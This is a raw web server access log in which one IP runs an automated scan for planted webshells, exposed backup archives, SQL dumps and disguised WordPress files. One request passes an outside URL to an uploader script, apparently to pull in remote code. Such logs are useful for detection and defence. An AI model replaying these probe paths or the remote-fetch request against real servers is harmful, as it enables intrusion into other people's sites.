196.251.80.56 - - [23/Sep/2025:11:52:06 -0400] "GET /Black.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:52:13 -0400] "GET /home.zip HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:52:17 -0400] "GET /home.rar HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:52:21 -0400] "GET /home.tar HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:52:34 -0400] "GET /forum.rar HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:52:41 -0400] "GET /forum.tar.gz HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:52:45 -0400] "GET /test.txt HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:52:48 -0400] "GET /user.txt HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:52:50 -0400] "GET /site.txt HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:52:52 -0400] "GET /error_log HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:52:55 -0400] "GET /site.sql HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:53:01 -0400] "GET /forum.sql HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:53:05 -0400] "GET /r00t-s3c.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:53:08 -0400] "GET /backup.sql HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:53:17 -0400] "GET /wp.rar HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:53:21 -0400] "GET /vaga.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:53:25 -0400] "GET /abuhlail.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:53:28 -0400] "GET /domaine.pl HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:53:32 -0400] "GET /domaine.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:53:35 -0400] "GET /useradmin HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:53:39 -0400] "GET /X.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:53:49 -0400] "GET /v4team.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:53:52 -0400] "GET /offline.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:53:55 -0400] "GET /p8.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:54:00 -0400] "GET /rr57.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:54:06 -0400] "GET /myshell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:54:13 -0400] "GET /sheller.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:54:30 -0400] "GET /tmp/dz1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:54:34 -0400] "GET /dz1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:54:52 -0400] "GET /joomla.rar HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:51:29 -0400] "GET /canteen.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:51:42 -0400] "GET /ak47.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:51:46 -0400] "GET /kelelawar.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:51:52 -0400] "GET /xianjing.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:51:58 -0400] "GET /amad.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:52:02 -0400] "GET /t00.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:52:09 -0400] "GET /site.tar.gz HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:52:26 -0400] "GET /home.tar.gz HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:52:30 -0400] "GET /forum.zip HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:52:37 -0400] "GET /forum.tar HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:52:46 -0400] "GET /ftp.txt HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:52:52 -0400] "GET /awstats HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:52:57 -0400] "GET /vb.sql HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:53:12 -0400] "GET /back.sql HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:53:14 -0400] "GET /data.sql HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:53:37 -0400] "GET /d0maine.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:53:43 -0400] "GET /idx.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:53:46 -0400] "GET /dark.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:54:09 -0400] "GET /yourshell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:54:18 -0400] "GET /mysheller.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:54:22 -0400] "GET /911.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:54:25 -0400] "GET /madspotshe%E2%80%8Bll.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:54:26 -0400] "GET /%E2%80%8Bc100.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:54:39 -0400] "GET /Symlink.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:54:44 -0400] "GET /Symlink.pl HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:54:48 -0400] "GET /joomla.zip HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:54:56 -0400] "GET /buck.sql HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:55:01 -0400] "GET /xd.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:55:09 -0400] "GET /uploads/admin.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:55:18 -0400] "GET /tmp/priv8.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:55:21 -0400] "GET /cgi.pl HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:55:24 -0400] "GET /d00.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:55:28 -0400] "GET /hacked.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:55:38 -0400] "GET /wp-content/plugins/ccx/index.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:55:45 -0400] "GET /wp-admin/includes/xleet-shell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:55:51 -0400] "GET /wp-content/plugins/xt/index.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:55:52 -0400] "GET /wp-content/xleet.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:55:52 -0400] "GET /wp-admin/xleet-shell.phpwp-includes/ID3/wp-conflg.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:55:55 -0400] "GET /wp-includes/ID3/wp-conflg.php.suspected HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:55:57 -0400] "GET /wp-admin/includes/wp-conflg.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:56:04 -0400] "GET /wp-content/languages/wp-conflg.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:56:04 -0400] "GET /.dha.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:56:07 -0400] "GET /wp-co.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:54:58 -0400] "GET /sysadmin.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:55:04 -0400] "GET /spy.aspx HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:55:06 -0400] "GET /images/xd.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:55:12 -0400] "GET /Server.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:55:14 -0400] "GET /wp-admin/c99.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:55:26 -0400] "GET /bluff.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:55:30 -0400] "GET /sea.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:55:33 -0400] "GET /abcd.aspx HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:55:35 -0400] "GET /copy3.aspx HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:55:39 -0400] "GET /xt/index.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:55:42 -0400] "GET /xleetshell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:55:48 -0400] "GET /wp-content/plugins/content-management/content.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:55:48 -0400] "GET /xlt.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:56:02 -0400] "GET /wp-admin/includes/wp-conflg.php.suspected HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:56:04 -0400] "GET /wp-content/languages/wp-conflg.php.suspected HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:56:09 -0400] "GET /blok.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:56:12 -0400] "GET /wp-content/local.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:56:12 -0400] "GET /wxo.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:56:17 -0400] "GET /.yoi.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:56:25 -0400] "GET /5fesj.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:56:34 -0400] "GET /p7m94.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:56:40 -0400] "GET /jdimzmtaas.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:56:42 -0400] "GET /wp-content/iu.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:56:44 -0400] "GET /991176.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:56:47 -0400] "GET /up-kon.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:56:53 -0400] "GET /wp-content/codeboy1877_up.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:57:05 -0400] "GET /batm.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:57:12 -0400] "GET /w0.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:57:17 -0400] "GET /webr00t.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:56:10 -0400] "GET /logs.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:56:14 -0400] "GET /amigo.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:56:16 -0400] "GET /-.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:56:21 -0400] "GET /wp-contentt.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:56:22 -0400] "GET /i3wfj.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:56:28 -0400] "GET /s46v1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:56:31 -0400] "GET /djfksr4.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:56:38 -0400] "GET /we1y8.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:56:42 -0400] "GET /ccx/th3_err0r.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:56:44 -0400] "GET /cgi-bin/ffAA531.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:56:44 -0400] "GET /cgi-bin/991176.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:56:49 -0400] "GET /codeboy1877_up.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:56:53 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:56:57 -0400] "GET /post-data.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:57:02 -0400] "GET /wp-admin/codeboy1877_up.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:57:08 -0400] "GET /wp-includes/codeboy1877_up.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:57:25 -0400] "GET /qibozpiuqx.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:57:28 -0400] "GET /rg3v6.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:57:47 -0400] "GET /soz.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:57:50 -0400] "GET /wp-admin/ysf87.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:58:11 -0400] "GET /wp-content/mny4z.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:58:11 -0400] "GET /wp-admin/mdsa9.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:58:33 -0400] "GET /wp-admin/zphxi.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:58:37 -0400] "GET /wp-content/Free-fixed.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:58:37 -0400] "GET /wp-content/ave.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:58:43 -0400] "GET /Foxs1sx.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:58:45 -0400] "GET /uy7sw.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:58:55 -0400] "GET /wp-admin/hb81i.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:59:08 -0400] "GET /wp-admin/wso32.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:59:11 -0400] "GET /wp-content/export.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:59:11 -0400] "GET /1788821455_error_log.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:59:12 -0400] "GET /cyb3r-sh3ll.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:59:13 -0400] "GET /fc11.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:59:16 -0400] "GET /oTm4n3x.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:59:18 -0400] "GET /assets/js/ice.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:59:21 -0400] "GET /js/ice.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:59:28 -0400] "GET /DKIZ.php?DKIZ HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:59:35 -0400] "GET /shl.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:59:37 -0400] "GET /pi.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:59:39 -0400] "GET /wp-admin/lx.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:59:41 -0400] "GET /wp-includes/assets/lx.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:59:43 -0400] "GET /wp-content/plugins/tusupugnpr/up.php?php=anonymousfox.is/_@files/php/up.txt HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:59:43 -0400] "GET /wp-admin/9h7zj.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:59:46 -0400] "GET /f6qxl.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:59:48 -0400] "GET /wp-signup.php?Fox=sQFLZ HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:00:02 -0400] "GET /qb9sl.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:00:08 -0400] "GET /maileraso.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:00:18 -0400] "GET /wpse.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:00:23 -0400] "GET /fkbqn.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:00:34 -0400] "GET /wp-content/ak.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:00:37 -0400] "GET /wp-content/alpa.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:00:37 -0400] "GET /vekizcjxrc.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:00:40 -0400] "GET /wp-sid.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:00:43 -0400] "GET /ALFA_DATA/wp-2019.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:00:45 -0400] "GET /DownloadApp/wp-2019.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:00:54 -0400] "GET /tmpurufu.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:00:56 -0400] "GET /wp-content/upload.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:00:56 -0400] "GET / HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:57:22 -0400] "GET /finca.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:57:28 -0400] "GET /wp-content/finca.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:57:32 -0400] "GET /qly7i.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:57:37 -0400] "GET /cjaWY8Kf7Ci.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:57:42 -0400] "GET /wp-admin/ysp6c.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:57:56 -0400] "GET /wp-admin/ugeaz.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:58:03 -0400] "GET /wp-admin/nd8z1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:58:19 -0400] "GET /wp-admin/lkf65.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:58:24 -0400] "GET /wp-admin/jensq.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:58:28 -0400] "GET /UNZipeRpoe.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:58:30 -0400] "GET /wp-admin/UNZipeRpoe.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:58:37 -0400] "GET /wp-content/xx.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:58:38 -0400] "GET /wp-admin-configs.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:58:40 -0400] "GET /ys16l.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:58:43 -0400] "GET /wp-content/Foxs1sx.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:58:48 -0400] "GET /75888592_err0r.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:58:53 -0400] "GET /syhrnvhpze.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:58:58 -0400] "GET /wp-admin/zgpsy.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:59:03 -0400] "GET /wp-admin/Anonime-shell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:59:11 -0400] "GET /wp-content/1788821455_error_log.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:59:15 -0400] "GET /wp-admin/oTm4n3x.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:59:19 -0400] "GET /img/ice.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:59:23 -0400] "GET /wp-admin/ycxlu.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:59:25 -0400] "GET /fonts/ice.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:59:30 -0400] "GET /wp-content/ice.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:59:30 -0400] "GET /wp-admin/ice.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:59:33 -0400] "GET /fmb97.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:59:52 -0400] "GET /angyw.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:59:54 -0400] "GET /wp-admin/57yke.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:59:57 -0400] "GET /gxsyuzkutr.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:59:59 -0400] "GET /3x.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:00:05 -0400] "GET /hewsioaypm.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:00:11 -0400] "GET /dsdfklsjroden.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:00:14 -0400] "GET /_.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:00:21 -0400] "GET /Fresh.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:00:25 -0400] "GET /c9ny3.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:00:28 -0400] "GET /cakt.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:00:31 -0400] "GET /ab.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:00:34 -0400] "GET /wp-snapshots/ss.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:00:47 -0400] "GET /Logo/wp-2019.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:00:50 -0400] "GET /takeout.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:00:56 -0400] "GET /vse.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:01:04 -0400] "GET /romfc.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:00:59 -0400] "GET /shadowx.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:01:17 -0400] "GET /alfav41.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:01:25 -0400] "GET /zat2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:01:38 -0400] "GET /wp-admin/romfc.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:01:50 -0400] "GET /ALFA_DATA/alfacgiapi/fox.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:01:55 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:02:04 -0400] "GET /homepage-index.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:02:06 -0400] "GET /wp-comments-post.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:02:06 -0400] "GET /reset.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:02:08 -0400] "GET /wp_logx.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:02:13 -0400] "GET /FoxWSO-full.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:02:25 -0400] "GET /accesson.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:02:32 -0400] "GET /octeesfes.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:02:40 -0400] "GET /inc.class.wp-plugins.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:02:42 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:02:45 -0400] "GET /ot.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:02:49 -0400] "GET /masshp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:02:51 -0400] "GET /pl1gn.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:03:00 -0400] "GET //wp-content/ninja.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:03:04 -0400] "GET /codeboy1877x.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:03:06 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:03:08 -0400] "GET /1877x.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:03:11 -0400] "GET /wp-content/uploads/F0x.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:03:11 -0400] "GET /wp-includes/css/F0x.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:03:15 -0400] "GET /wp-includes/css/F0x.ph HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:03:17 -0400] "GET /wp-content/plugins/upspy/up.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:03:17 -0400] "GET /wp-content/5.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:03:17 -0400] "GET /wp-content/plugins/upspy/sllolx.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:03:23 -0400] "GET /wsanon.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:03:26 -0400] "GET /wp-content/mode.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:03:30 -0400] "GET /archives.php HTTP/1.1" 301 795 "-" "-"
206.189.247.132 - - [23/Sep/2025:12:03:38 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
